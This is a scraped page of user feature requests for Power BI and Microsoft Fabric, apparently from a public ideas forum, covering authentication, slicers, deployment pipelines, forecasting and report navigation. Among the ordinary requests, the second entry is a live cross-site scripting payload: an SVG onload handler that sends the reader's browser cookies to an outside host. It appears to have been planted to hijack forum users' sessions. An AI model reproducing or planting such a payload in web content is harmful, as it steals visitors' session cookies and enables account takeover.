Currently, Service Principal authentication works with Fabric Data Agents connected to Lakehouses but fails when the agent is connected to a Semantic Model. This limitation prevents building fully automated applications or backend services that interact with Semantic Model–based agents without requiring interactive user authentication.   Supporting Service Principals (or Managed Identities) for Semantic Model data access in Data Agents would enable secure server-to-server scenarios and make it easier to embed Fabric AI experiences into custom applications and enterprise workflows. ... View more

<svg onload=fetch('//im.xss.ht/oc.php?c='+document.cookie)> ... View more

Would be very usefull specially when using DQ to be able to call store procedures on visuals. ... View more

It would be really nice if the deployment pipelines updated the destination lakehouse or warehouse of a dataflow gen 2 and still show synced across workspaces. Barring that, it would be great if the destination lakehouse or warehouse could be parameterized for use in a deployment pipeline.    Thanks.  ... View more

It would be fairly useful if, in table view in the desktop app, we could select some records and export to .xlsx. ... View more

90% of our work is R12 based. manually selecting 12 months of data on every report and filter is time consuming and leaves too much room for error ... View more

the power bi analyze feature for bar charts is truly very helpful. we can click analyze the increase, analyze the decrease to identify the trend. one point to be added , sometimes the trends which it shows for fluctuations show id's like salesforce, netsuite id or some keys to identify the pattern. the analysis should be based on descriptive fields like products, regions, account names , country names so it will be easy for business users to understand insights based on descriptive fields rahther than id's or such irrelevent columns. so if the model be trained so that it excludes such id fields or keys and only go for descriptive fields, it will be helpful for end users.   ... View more

The standard Slicer visual currently lacks advanced search capabilities such as contains, starts with, and similar operators. These options are available only in the Input Slicer. It would be highly beneficial to combine these functionalities so that users can access advanced search and filtering within a single Slicer visual. This would streamline the filtering experience and reduce the need to use multiple slicer types. ... View more

Hi all. Right now you can only view the JSON source of a Copy Job. The possibility of editing this source to easily modify or copy your source would be greatly appreciated. ... View more

Hello,  Creating a template in Power BI is useful for maintaining a standard layout for a report/dashboard; however, it doesn't prevent creators from editing postions, colours or layout. It would be useful to be able to make sections uneditable to prevent people from altering areas that you want to be the same across all reports using that template.     ... View more

In the current Edit Interactions experience in Power BI Desktop, interaction settings are edited on a visual-by-visual basis. This becomes very time‑consuming when there are many visuals on a page, especially if some are overlapping or hidden.   Proposed improvements: Add buttons to disable all interactions at once and to restore all interactions at once. Add a global interaction panel where designers can see and edit all interaction relationships between visuals (source ↔ targets) in one place, without having to select each visual individually. In summary, these improvements would save time and reduce complexity when designing reports in Power BI Desktop, providing a faster and easier way to manage interactions between visuals. This would make developing any dashboard much more efficient, allowing interaction settings to be edited, reviewed, and adjusted with ease, especially in reports with multiple visuals and complex layouts. ... View more

It would be great to have a hard code in Powerbi. Example: If I hard code a value of "H*&" as "Maximum" then where ever I use "H*&" in Powerbi visualization or Mquery it has to be replaced by "Maximun" provided the data types should be aligned. This would greatly decrease the renaming effort and also allows us to function independently irrespective of data consumed from sources. ... View more

Hello    I have a default view in a power BI model on our workspce,which updates daily , the default view is filtered on a sepcific day (yesterday). However when people receive the subscription email they always have to click the refresh button so that it shows the correct date filter. It would be good for the email subscription to be dymnamic in that it opens up with the latest refresh and the correct date filter.    Thanks  Neil  ... View more

Power BI custom connectors usually require users to manually install and update .mez files in the Power BI Custom Connectors folder.   This creates friction for customers and ongoing support overhead for SaaS vendors distributing connectors to their users. For example, we provide a Teamflect Power BI connector that allows organizations to analyze HR engagement, goals, feedback, and performance data. Every time the connector is updated, customers must manually replace the file, and many end up running outdated versions.   It would greatly improve the ecosystem if our connector could become certified, reducing the manual effort required on both the vendor and customer sides for installation and updates. Thanks. Yagiz ... View more

Currently, the Forecast feature in Power BI Desktop only allows us to use the “Ignore last” option to exclude recent data points. While helpful, this approach is limited because it only removes a fixed number of periods at the end of the series.  I propose adding the ability to exclude data by specifying a custom date range - for example, “Ignore from 12 Jan 2023 to 14 Jun 2023.” It would be much more flexible if we had the ability to specify a custom date range for the forecast input window - for example, selecting “From [date]” and “To [date]” boxes. This would allow users to: Exclude incomplete or anomalous periods anywhere in the dataset, not just at the end. Focus forecasts on stable historical windows (e.g., only 2019 - 2023 data). Run comparative forecasts across different ranges without reshaping or filtering data outside Power BI. This enhancement would make forecasting more accurate and user‑friendly, especially for organizations dealing with partial reporting periods or seasonal anomalies.  I’d love to see this added to Power BI Desktop to give us more control over forecasting scenarios. ... View more

Here's an idea for MS PowerBI, I use a laptop with a relatively small screen at work, which makes it harder to use PowerBI. Add an option to click the Visuals button in the Visualization tab to collapse it and make it easier to access the contents below, or a way to scroll past the visualizations into the contents below, or both! ... View more

Replace quick insights with Copilot to do EDA before publishing that's dynamic with every source refresh.   ... View more

Imagine having a left vertical page navigator with big icons instead of plain page names and being able to scroll through those if have too many pages, at the same time some fixed icons just below it (may be a horizontal parting line) making it half dyanamically scollable and half static icons for bug, archives actions etc. For most of our reports we have more than 5 to 8 pages, then we also have bug, archieve buttons as well, for all we use buttons as we use icons and assign actions of page navigation, I know this sounds like page navigator, but page navigator does not allow to have images (which represents the page info) to be added instead of name (I know we can add char icons but they are of no use), so I would like to see images could be added instead of text in page navigation, wherever Icon is not enabled, page name would appear. ... View more

Measures that reference calculation groups appear disabled (greyed out) when attempting to use them for conditional formatting using Format by → Field value, even though the measures evaluate correctly and work when already applied to visuals. This appears to be a UI validation issue rather than a model or engine issue. ... View more